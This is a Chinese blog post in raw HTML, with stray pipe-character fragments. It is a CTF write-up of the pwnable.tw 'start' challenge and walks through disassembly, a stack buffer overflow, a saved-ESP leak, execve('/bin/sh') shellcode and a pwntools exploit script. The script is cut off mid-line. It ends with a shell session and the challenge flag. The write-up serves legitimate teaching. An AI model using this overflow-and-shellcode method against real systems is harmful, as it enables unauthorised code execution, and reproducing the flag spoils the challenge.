1532 lines
64 KiB
HTML
1532 lines
64 KiB
HTML
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<!DOCTYPE html>
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<html class="theme-next gemini use-motion" lang="zh-Hans">
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<head><meta name="generator" content="Hexo 3.8.0">
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<meta charset="UTF-8">
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<meta http-equiv="X-UA-Compatible" content="IE=edge">
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<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
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<meta name="theme-color" content="#222">
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<meta http-equiv="Cache-Control" content="no-transform">
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<meta http-equiv="Cache-Control" content="no-siteapp">
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<link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">
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<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">
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<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">
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<link rel="apple-touch-icon" sizes="180x180" href="/images/hackerrank.png?v=5.1.4">
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<link rel="icon" type="image/png" sizes="32x32" href="/images/hackerrank.png?v=5.1.4">
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<link rel="icon" type="image/png" sizes="16x16" href="/images/hackerrank.png?v=5.1.4">
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<link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">
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<meta name="keywords" content="二进制,Linux,CTF,">
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<meta name="description" content="Pwnable.tw start程序链接：https://pwnable.tw/static/chall/start 0x01 检查保护情况不得不说，checksec这个工作看似简单，用用现成工具就行，但这决定了我们之后漏洞利用的方式，是否栈代码执行，还是ROP。最好多用几个工具进行检查，兼听则明。比如这个程序用peda检查就开启了NX，但实际上并没有。所以理想的话，把shellcode布置到栈上">
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<meta name="keywords" content="二进制,Linux,CTF">
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<meta property="og:type" content="article">
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<meta property="og:title" content="【Pwnable.tw】start">
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<meta property="og:url" content="https://cool-y.github.io/2019/10/25/PWNtw-start/index.html">
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<meta property="og:site_name" content="混元霹雳手">
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<meta property="og:description" content="Pwnable.tw start程序链接：https://pwnable.tw/static/chall/start 0x01 检查保护情况不得不说，checksec这个工作看似简单，用用现成工具就行，但这决定了我们之后漏洞利用的方式，是否栈代码执行，还是ROP。最好多用几个工具进行检查，兼听则明。比如这个程序用peda检查就开启了NX，但实际上并没有。所以理想的话，把shellcode布置到栈上">
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<meta property="og:locale" content="zh-Hans">
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<meta property="og:updated_time" content="2019-10-25T13:13:04.741Z">
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<meta name="twitter:card" content="summary">
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<meta name="twitter:title" content="【Pwnable.tw】start">
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<meta name="twitter:description" content="Pwnable.tw start程序链接：https://pwnable.tw/static/chall/start 0x01 检查保护情况不得不说，checksec这个工作看似简单，用用现成工具就行，但这决定了我们之后漏洞利用的方式，是否栈代码执行，还是ROP。最好多用几个工具进行检查，兼听则明。比如这个程序用peda检查就开启了NX，但实际上并没有。所以理想的话，把shellcode布置到栈上">
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<script type="text/javascript" id="hexo.configurations">
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var NexT = window.NexT || {};
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var CONFIG = {
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root: '/',
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scheme: 'Gemini',
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version: '5.1.4',
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sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
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fancybox: true,
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tabs: true,
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motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
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duoshuo: {
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userId: '0',
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author: '博主'
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},
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algolia: {
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applicationID: '',
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apiKey: '',
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indexName: '',
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hits: {"per_page":10},
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labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
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}
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};
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</script>
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<link rel="canonical" href="https://cool-y.github.io/2019/10/25/PWNtw-start/">
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<title>【Pwnable.tw】start | 混元霹雳手</title>
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</head>
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<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">
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<div class="container sidebar-position-left page-post-detail">
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<div class="headband"></div>
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<header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
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<div class="header-inner"><div class="site-brand-wrapper">
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<div class="site-meta ">
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<div class="custom-logo-site-title">
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<a href="/" class="brand" rel="start">
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<span class="logo-line-before"><i></i></span>
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<span class="site-title">混元霹雳手</span>
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<span class="logo-line-after"><i></i></span>
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</a>
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</div>
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<p class="site-subtitle"></p>
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</div>
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<div class="site-nav-toggle">
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<button>
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<span class="btn-bar"></span>
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<span class="btn-bar"></span>
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<span class="btn-bar"></span>
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</button>
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</div>
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</div>
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<nav class="site-nav">
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<ul id="menu" class="menu">
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<li class="menu-item menu-item-home">
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<a href="/" rel="section">
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<i class="menu-item-icon fa fa-fw fa-home"></i> <br>
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首页
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</a>
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</li>
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<li class="menu-item menu-item-about">
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<a href="/about/" rel="section">
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<i class="menu-item-icon fa fa-fw fa-user"></i> <br>
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关于
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</a>
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</li>
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<li class="menu-item menu-item-tags">
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<a href="/tags/" rel="section">
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<i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
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标签
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</a>
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</li>
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<li class="menu-item menu-item-categories">
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<a href="/categories/" rel="section">
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<i class="menu-item-icon fa fa-fw fa-th"></i> <br>
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分类
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</a>
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</li>
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<li class="menu-item menu-item-archives">
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<a href="/archives/" rel="section">
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<i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
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归档
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</a>
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</li>
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<li class="menu-item menu-item-bookmarks">
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<a href="/bookmarks/" rel="section">
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<i class="menu-item-icon fa fa-fw fa-map"></i> <br>
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书签
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</a>
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</li>
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<li class="menu-item menu-item-hack之外">
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<a href="/hack之外/" rel="section">
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<i class="menu-item-icon fa fa-fw fa-heartbeat"></i> <br>
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HACK之外
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</a>
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</li>
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<li class="menu-item menu-item-search">
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<a href="javascript:;" class="popup-trigger">
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<i class="menu-item-icon fa fa-search fa-fw"></i> <br>
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搜索
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</a>
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</li>
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</ul>
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<div class="site-search">
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<div class="popup search-popup local-search-popup">
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<div class="local-search-header clearfix">
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<span class="search-icon">
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<i class="fa fa-search"></i>
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</span>
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<span class="popup-btn-close">
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<i class="fa fa-times-circle"></i>
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</span>
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<div class="local-search-input-wrapper">
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<input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
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</div>
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</div>
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<div id="local-search-result"></div>
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</div>
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</div>
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</nav>
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</div>
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</header>
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<main id="main" class="main">
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<div class="main-inner">
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<div class="content-wrap">
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<div id="content" class="content">
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<div id="posts" class="posts-expand">
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<article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
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|||
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|
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<div class="post-block">
|
|||
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<link itemprop="mainEntityOfPage" href="https://cool-y.github.io/2019/10/25/PWNtw-start/">
|
|||
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|
|||
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<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
|
|||
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<meta itemprop="name" content="Cool-Y">
|
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<meta itemprop="description" content>
|
|||
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<meta itemprop="image" content="/images/avatar.png">
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|||
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</span>
|
|||
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|
|||
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<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
|
|||
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<meta itemprop="name" content="混元霹雳手">
|
|||
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</span>
|
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|
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|
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<header class="post-header">
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|
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|
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|
|||
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<h1 class="post-title" itemprop="name headline">【Pwnable.tw】start</h1>
|
|||
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|
|||
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|
|||
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<div class="post-meta">
|
|||
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<span class="post-time">
|
|||
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|
|||
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<span class="post-meta-item-icon">
|
|||
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<i class="fa fa-calendar-o"></i>
|
|||
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</span>
|
|||
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|
|||
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<span class="post-meta-item-text">发表于</span>
|
|||
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|
|||
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<time title="创建于" itemprop="dateCreated datePublished" datetime="2019-10-25T21:04:14+08:00">
|
|||
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2019-10-25
|
|||
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</time>
|
|||
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|
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</span>
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|||
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<span class="post-category">
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<span class="post-meta-divider">|</span>
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|
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<span class="post-meta-item-icon">
|
|||
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<i class="fa fa-folder-o"></i>
|
|||
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</span>
|
|||
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<span class="post-meta-item-text">分类于</span>
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|
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|
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<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
|
|||
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<a href="/categories/Pwn/" itemprop="url" rel="index">
|
|||
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<span itemprop="name">Pwn</span>
|
|||
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</a>
|
|||
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</span>
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</span>
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<span id="/2019/10/25/PWNtw-start/" class="leancloud_visitors" data-flag-title="【Pwnable.tw】start">
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1.5k 字
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<h1 id="Pwnable-tw-start"><a href="#Pwnable-tw-start" class="headerlink" title="Pwnable.tw start"></a><a href="http://pwnable.tw/" target="_blank" rel="noopener">Pwnable.tw</a> start</h1><p>程序链接：<a href="https://pwnable.tw/static/chall/start" target="_blank" rel="noopener">https://pwnable.tw/static/chall/start</a></p>
|
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<h2 id="0x01-检查保护情况"><a href="#0x01-检查保护情况" class="headerlink" title="0x01 检查保护情况"></a>0x01 检查保护情况</h2><p>不得不说，<a href="http://www.trapkit.de/tools/checksec.html" target="_blank" rel="noopener">checksec</a>这个工作看似简单，用用现成工具就行，但这决定了我们之后漏洞利用的方式，是否栈代码执行，还是ROP。<br>最好多用几个工具进行检查，兼听则明。比如这个程序用peda检查就开启了NX，但实际上并没有。所以理想的话，把shellcode布置到栈上就可以了！</p>
|
|||
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<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ checksec ./start</span><br><span class="line"> Arch: i386-32-little</span><br><span class="line"> RELRO: No RELRO</span><br><span class="line"> Stack: No canary found</span><br><span class="line"> NX: NX disabled</span><br><span class="line"> PIE: No PIE (0x8048000)</span><br></pre></td></tr></table></figure>
|
|||
|
|
<p><strong>RELRO(Relocation Read Only)：尽量使存储区域只读</strong></p>
|
|||
|
|
<h2 id="0x02-漏洞分析"><a href="#0x02-漏洞分析" class="headerlink" title="0x02 漏洞分析"></a>0x02 漏洞分析</h2><p>用IDA逆向分析，汇编代码</p>
|
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<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">保存现场环境esp、_exit</span><br><span class="line">.text:08048060 push esp</span><br><span class="line">.text:08048061 push offset _exit</span><br><span class="line"></span><br><span class="line">清空寄存器EAX EBX ECX EDX</span><br><span class="line">.text:08048066 xor eax, eax</span><br><span class="line">.text:08048068 xor ebx, ebx</span><br><span class="line">.text:0804806A xor ecx, ecx</span><br><span class="line">.text:0804806C xor edx, edx</span><br><span class="line"></span><br><span class="line">向栈上压入参数</span><br><span class="line">.text:0804806E push 3A465443h CTF:</span><br><span class="line">.text:08048073 push 20656874h the</span><br><span class="line">.text:08048078 push 20747261h art</span><br><span class="line">.text:0804807D push 74732073h s st</span><br><span class="line">.text:08048082 push 2774654Ch Let’</span><br><span class="line"></span><br><span class="line">系统调用80h</span><br><span class="line">.text:08048087 mov ecx, esp ; addr</span><br><span class="line">.text:08048089 mov dl, 14h ; len</span><br><span class="line">.text:0804808B mov bl, 1 ; fd</span><br><span class="line">.text:0804808D mov al, 4</span><br><span class="line">.text:0804808F int 80h ; LINUX - sys_write</span><br><span class="line"></span><br><span class="line">系统调用80h</span><br><span class="line">.text:08048091 xor ebx, ebx</span><br><span class="line">.text:08048093 mov dl, 3Ch</span><br><span class="line">.text:08048095 mov al, 3</span><br><span class="line">.text:08048097 int 80h ; LINUX -</span><br><span class="line"></span><br><span class="line">恢复栈平衡，返回到_exit</span><br><span class="line">.text:08048099 add esp, 14h</span><br><span class="line">.text:0804809C retn</span><br><span class="line">.text:0804809C _start endp ; sp-analysis failed</span><br></pre></td></tr></table></figure>
|
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<h3 id="INT-80h-系统调用方法"><a href="#INT-80h-系统调用方法" class="headerlink" title="INT 80h 系统调用方法"></a><strong>INT 80h 系统调用方法</strong></h3><p><strong>系统调用的过程</strong>可以总结如下：<br>1． 执行用户程序(如:fork)<br>2． 根据glibc中的函数实现，取得系统调用号并执行int $0x80产生中断。<br>3． 进行地址空间的转换和堆栈的切换，执行SAVE_ALL。（进行内核模式）<br>4． 进行中断处理，根据系统调用表调用内核函数。<br>5． 执行内核函数。<br>6． 执行RESTORE_ALL并返回用户模式<br>Linux 32位的系统调用时通过int 80h来实现的，eax寄存器中为调用的功能号，ebx、ecx、edx、esi等等寄存器则依次为参数。</p>
|
|||
|
|
<p><a href="http://syscalls.kernelgrok.com/" target="_blank" rel="noopener">关于系统调用的功能号</a>：</p>
|
|||
|
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<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">#define __NR_exit 1</span><br><span class="line">#define __NR_fork 2</span><br><span class="line">#define __NR_read 3</span><br><span class="line">#define __NR_write 4</span><br><span class="line">#define __NR_open 5</span><br><span class="line">#define __NR_close 6</span><br><span class="line">#define __NR_waitpid 7</span><br><span class="line">#define __NR_creat 8</span><br><span class="line">#define __NR_link 9</span><br><span class="line">#define __NR_unlink 10</span><br><span class="line">#define __NR_execve 11</span><br></pre></td></tr></table></figure>
|
|||
|
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<p><strong>第一个系统调用：</strong><br>将esp开始的14h字节数据写入标准输出（文件描述符1），即输出”Let’s start the CTF:“</p>
|
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<table>
|
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<thead>
|
|||
|
|
<tr>
|
|||
|
|
<th>name</th>
|
|||
|
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<th>eax</th>
|
|||
|
|
<th>ebx</th>
|
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|
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<th>ecx</th>
|
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|
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<th>edx</th>
|
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</tr>
|
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|
</thead>
|
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<tbody>
|
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<tr>
|
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<td><a href="http://www.kernel.org/doc/man-pages/online/pages/man2/write.2.html" target="_blank" rel="noopener">sys_write</a></td>
|
|||
|
|
<td>0x04</td>
|
|||
|
|
<td>unsigned int fd = 1</td>
|
|||
|
|
<td>const char __user *buf = esp</td>
|
|||
|
|
<td>size_t count =14h</td>
|
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|
|
</tr>
|
|||
|
|
<tr>
|
|||
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<td>—</td>
|
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<td>—</td>
|
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<td>—</td>
|
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|
<td>—</td>
|
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<td>—</td>
|
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</tr>
|
|||
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</tbody>
|
|||
|
|
</table>
|
|||
|
|
<p><strong>第二个系统调用：</strong><br>从标准输入读取3ch字节到栈空间</p>
|
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<table>
|
|||
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<thead>
|
|||
|
|
<tr>
|
|||
|
|
<th>name</th>
|
|||
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<th>eax</th>
|
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<th>ebx</th>
|
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<th>ecx</th>
|
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|
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<th>edx</th>
|
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</tr>
|
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</thead>
|
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<tbody>
|
|||
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|
<tr>
|
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<td><a href="http://www.kernel.org/doc/man-pages/online/pages/man2/read.2.html" target="_blank" rel="noopener">sys_read</a></td>
|
|||
|
|
<td>0x03</td>
|
|||
|
|
<td>unsigned int fd = 1</td>
|
|||
|
|
<td>char __user *buf = esp</td>
|
|||
|
|
<td>size_t count = 3ch</td>
|
|||
|
|
</tr>
|
|||
|
|
<tr>
|
|||
|
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<td>—</td>
|
|||
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<td>—</td>
|
|||
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<td>—</td>
|
|||
|
|
<td>—</td>
|
|||
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<td>—</td>
|
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</tr>
|
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</tbody>
|
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</table>
|
|||
|
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<h3 id="栈变化情况"><a href="#栈变化情况" class="headerlink" title="栈变化情况"></a>栈变化情况</h3><ol>
|
|||
|
|
<li>程序执行到0804808F：sys_write</li>
|
|||
|
|
</ol>
|
|||
|
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<p>输出14h字节数据：Let’s start the CTF:</p>
|
|||
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<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"> +-----------------+ <----</span><br><span class="line"> | Let’ | | </span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | s st | |</span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | art | 14h</span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | the | |</span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | CTF: | |</span><br><span class="line"> +-----------------+ <-----</span><br><span class="line"> | offset _exit |</span><br><span class="line"> +-----------------+</span><br><span class="line"> | Saved ESP |</span><br><span class="line">H-> +-----------------+</span><br></pre></td></tr></table></figure>
|
|||
|
|
<ol>
|
|||
|
|
<li>08048097: sys_read</li>
|
|||
|
|
</ol>
|
|||
|
|
<p>read函数最多可以读取3ch字节，超出了分配的空间，可以用来覆盖ret_addr和esp。经调试验证，20字节后覆盖ret，24字节后覆盖esp。</p>
|
|||
|
|
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ pattern search</span><br><span class="line">Registers contain pattern buffer:</span><br><span class="line">EIP+0 found at offset: 20</span><br><span class="line">Registers point to pattern buffer:</span><br><span class="line">[ECX] --> offset 0 - size ~32</span><br><span class="line">[ESP] --> offset 24 - size ~8</span><br><span class="line">Pattern buffer found at:</span><br><span class="line">0xffcc2764 : offset 0 - size 30 ($sp + -0x18 [-6 dwords])</span><br><span class="line">Reference to pattern buffer not found in memory</span><br></pre></td></tr></table></figure>
|
|||
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<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"> +-----------------+ <----</span><br><span class="line"> | aaaa | | </span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | aaaa | |</span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | aaaa | 14h</span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | aaaa | |</span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | aaaa | |</span><br><span class="line"> +-----------------+ <-----</span><br><span class="line"> | aaaa |</span><br><span class="line"> +-----------------+</span><br><span class="line"> | Saved ESP |</span><br><span class="line">H-> +-----------------+</span><br></pre></td></tr></table></figure>
|
|||
|
|
<h2 id="0x03-漏洞利用"><a href="#0x03-漏洞利用" class="headerlink" title="0x03 漏洞利用"></a>0x03 漏洞利用</h2><h3 id="利用思路"><a href="#利用思路" class="headerlink" title="利用思路"></a>利用思路</h3><p>现在EIP已经在我们的掌控之中了，关键是如何跳转到布置的shell code中。一般来说，首先会去找JMP ESP指令，这样就能让shellcode获得执行。但这段汇编代码没有，可以利用的只有read和write。如果可以write出Saved ESP的地址，然后覆盖掉offset _exit，就能成功shell。</p>
|
|||
|
|
<ol>
|
|||
|
|
<li>泄露Saved ESP</li>
|
|||
|
|
</ol>
|
|||
|
|
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">start = p.recvuntil(':') //等待write执行完毕</span><br><span class="line">payload = 'a'*0x14 + p32(0x08048087) //发送溢出数据，覆盖ret为0x08048087->输出14h字节</span><br><span class="line">p.send(payload)</span><br><span class="line">data = p.recv() //接收输出数据，其中就有Saved ESP</span><br></pre></td></tr></table></figure>
|
|||
|
|
<p>debug过程：</p>
|
|||
|
|
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">[DEBUG] Received 0x14 bytes:</span><br><span class="line"> "Let's start the CTF:"</span><br><span class="line">[DEBUG] Sent 0x18 bytes:</span><br><span class="line"> 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│</span><br><span class="line"> 00000010 61 61 61 61 87 80 04 08 │aaaa│····││</span><br><span class="line"> 00000018</span><br><span class="line">[DEBUG] Received 0x14 bytes:</span><br><span class="line"> 00000000 **20 53 81**** ff** 01 00 00 00 58 6d 81 ff 00 00 00 00 │ S··│····│Xm··│····│</span><br><span class="line"> 00000010 60 6d 81 ff │`m··││</span><br><span class="line"> 00000014</span><br></pre></td></tr></table></figure>
|
|||
|
|
<ol start="2">
|
|||
|
|
<li>覆盖RET</li>
|
|||
|
|
</ol>
|
|||
|
|
<p>此时程序已经泄露出之前的Saved_esp，栈的情况已经摸清了，然后程序继续执行read，注意read完 add esp, 14h后再ret，因此，ret_addr在esp+14h的地方。</p>
|
|||
|
|
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">payload = 'a'*0x14 + p32(saved_esp + 20) + shellcode</span><br><span class="line">print p32(saved_esp)</span><br><span class="line">p.send(payload)</span><br></pre></td></tr></table></figure>
|
|||
|
|
<ol start="3">
|
|||
|
|
<li>shellcode</li>
|
|||
|
|
</ol>
|
|||
|
|
<p>shellcode同样可以用系统调用的方式执行execve(“/bin/sh”,NULL,NULL)</p>
|
|||
|
|
<table>
|
|||
|
|
<thead>
|
|||
|
|
<tr>
|
|||
|
|
<th>name</th>
|
|||
|
|
<th>eax</th>
|
|||
|
|
<th>ebx</th>
|
|||
|
|
<th>ecx</th>
|
|||
|
|
<th>edx</th>
|
|||
|
|
<th>esi</th>
|
|||
|
|
</tr>
|
|||
|
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</thead>
|
|||
|
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<tbody>
|
|||
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<tr>
|
|||
|
|
<td><a href="http://www.kernel.org/doc/man-pages/online/pages/man2/execve.2.html" target="_blank" rel="noopener">sys_execve</a></td>
|
|||
|
|
<td>0x0b</td>
|
|||
|
|
<td>char __user *</td>
|
|||
|
|
<td>char <strong>user *</strong>user *</td>
|
|||
|
|
<td>char <strong>user *</strong>user *</td>
|
|||
|
|
<td><a href="http://lxr.free-electrons.com/source/arch/alpha/include/asm/ptrace.h?v=2.6.35#L19" target="_blank" rel="noopener">struct pt_regs</a></td>
|
|||
|
|
</tr>
|
|||
|
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<tr>
|
|||
|
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<td>—</td>
|
|||
|
|
<td>—</td>
|
|||
|
|
<td>—</td>
|
|||
|
|
<td>—</td>
|
|||
|
|
<td>—</td>
|
|||
|
|
<td>—</td>
|
|||
|
|
</tr>
|
|||
|
|
</tbody>
|
|||
|
|
</table>
|
|||
|
|
<p>其中，该程序是 32 位，所以我们需要使得</p>
|
|||
|
|
<ul>
|
|||
|
|
<li>系统调用号，即 eax 应该为 0xb</li>
|
|||
|
|
<li>第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。</li>
|
|||
|
|
<li>第二个参数，即 ecx 应该为 0</li>
|
|||
|
|
<li>第三个参数，即 edx 应该为 0</li>
|
|||
|
|
</ul>
|
|||
|
|
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">xor eax,eax //清空eax</span><br><span class="line">push eax //0入栈，当作字符/bin/sh结尾</span><br><span class="line">push '/sh'</span><br><span class="line">push '/bin' //'/sh'为3字节，未对齐' ->'/sh\0'或//sh</span><br><span class="line">mov ebx, esp //指向/bin/sh地址</span><br><span class="line">xor ecx,ecx</span><br><span class="line">xor edx,edx</span><br><span class="line">mov al, 0xb //系统调用号</span><br><span class="line">int 80</span><br></pre></td></tr></table></figure>
|
|||
|
|
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">shellcode='''</span><br><span class="line">xor eax,eax</span><br><span class="line">push eax</span><br><span class="line">push %s</span><br><span class="line">push %s</span><br><span class="line">mov ebx, esp</span><br><span class="line">xor ecx,ecx</span><br><span class="line">xor edx,edx</span><br><span class="line">mov al, 0xb</span><br><span class="line">int 0x80''' %(u32('/sh\0'),u32('/bin'))</span><br></pre></td></tr></table></figure>
|
|||
|
|
<p>使用asm(shellcode)来进行汇编,可以使用context来指定cpu类型以及操作系统，如context(arch = ‘amd64’ , os = ‘linux’, log_level=”debug”)</p>
|
|||
|
|
<h3 id="Catch-THE-FLAG"><a href="#Catch-THE-FLAG" class="headerlink" title="Catch THE FLAG"></a>Catch THE FLAG</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> binascii <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">shellcode=<span class="string">'''</span></span><br><span class="line"><span class="string">xor eax,eax</span></span><br><span class="line"><span class="string">push eax</span></span><br><span class="line"><span class="string">push %s</span></span><br><span class="line"><span class="string">push %s</span></span><br><span class="line"><span class="string">mov ebx, esp</span></span><br><span class="line"><span class="string">xor ecx,ecx</span></span><br><span class="line"><span class="string">xor edx,edx</span></span><br><span class="line"><span class="string">mov al, 0xb</span></span><br><span class="line"><span class="string">int 0x80'''</span> %(u32(<span class="string">'/sh\0'</span>),u32(<span class="string">'/bin'</span>))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dbg</span><span class="params">()</span>:</span></span><br><span class="line"> p = process(<span class="string">'./start'</span>)</span><br><span class="line"> context.terminal = [<span class="string">'gnome-terminal'</span>, <span class="string">'-x'</span>, <span class="string">'sh'</span>, <span class="string">'-c'</span>]</span><br><span class="line"> context.log_level = <span class="string">'debug'</span></span><br><span class="line"> gdb.attach(proc.pidof(p)[<span class="number">0</span>])</span><br><span class="line"> pause()</span><br><span class="line"> <span class="keyword">return</span> p</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leak_esp</span><span class="params">(p)</span>:</span></span><br><span class="line"> start = p.recvuntil(<span class="string">':'</span>)</span><br><span class="line"> payload = <span class="string">'a'</span>*<span class="number">0x14</span> + p32(<span class="number">0x08048087</span>)</span><br><span class="line"> p.send(payload)</span><br><span class="line"> saved_esp = p.recv()[:<span class="number">4</span>]</span><br><span class="line"> <span class="keyword">return</span> u32(saved_esp)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">pwn</span><span class="params">
|
|||
|
|
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span> python ./start.py</span><br><span class="line">[+] Opening connection to chall.pwnable.tw on port 10000: Done</span><br><span class="line">leak saved_esp: 0xffb43704</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line"><span class="meta">$</span> whoami</span><br><span class="line">start</span><br><span class="line"><span class="meta">$</span> find -name flag</span><br><span class="line">./home/start/flag</span><br><span class="line"><span class="meta">$</span> cat ./home/start/flag</span><br><span class="line">FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}</span><br></pre></td></tr></table></figure>
|
|||
|
|
<p>##</p>
|
|||
|
|
<h2 id="REF"><a href="#REF" class="headerlink" title="REF"></a>REF</h2><p><a href="https://introspelliam.github.io/2017/08/06/pwn/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E7%BA%A6%E5%AE%9A/" target="_blank" rel="noopener">Linux 系统调用</a></p>
|
|||
|
|
